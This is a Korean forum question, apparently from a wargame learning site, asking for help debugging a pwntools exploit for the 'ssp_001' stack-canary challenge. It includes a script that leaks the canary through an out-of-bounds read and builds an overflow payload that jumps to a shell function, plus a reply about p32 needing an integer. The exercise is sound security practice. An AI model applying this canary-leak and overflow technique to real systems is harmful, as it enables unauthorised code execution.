ssp_001 payload 질문!
from pwn import *


p = process('./ssp_001')


index = ['131','130','129','128']

cnry = b"0x"

for i in list(index):
	p.sendlineafter('> ','P')
	p.sendlineafter('Element index : ',i)
	string = p.recvuntil('is : ')
	cnry += p.recvn(2)


print("canary : "+cnry)


cnryval = hex(int(cnry,16))

print(cnryval)

p32(cnryval) # 이게 안됨..


p.sendlineafter('> ','E')
p.sendlineafter('Name Size : ','300')

offset = 64

get_shell = p32(0x80486b9)



#payload = b'A'*offset + p32(cnryval) + b'bbbb' + get_shell



#p.sendlineafter('Name : ',payload)



#p.interactive()


for문을 통해 cnry에 카나리 값을 문자열로 저장하고 cnryval에 16진수 값으로 저장했습니다. p32(cnryval)에서 문제가 있어 위 사진처럼 뜹니다..
문제를 못 찾아서 이렇게 올려봅니다..
pwntools 초보라 가독성이 많이 떨어질 수 있습니다.

#pwnable
작성자 정보
답변 1
Hmin
강의 수강: 10

아마 저 위에서 hex()를 해주어 그런듯 합니다.
왜냐하면 p32()는 인자를 아마 integer 타입으로 줘야 할껍니다.
저 hex를 하지 말고 다시 해보세요
그리고 구지 hex안해도 int("~~", 16)하고 패킹해도 16진수로 패킹 됩니다.

2022.12.22. 22:01
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기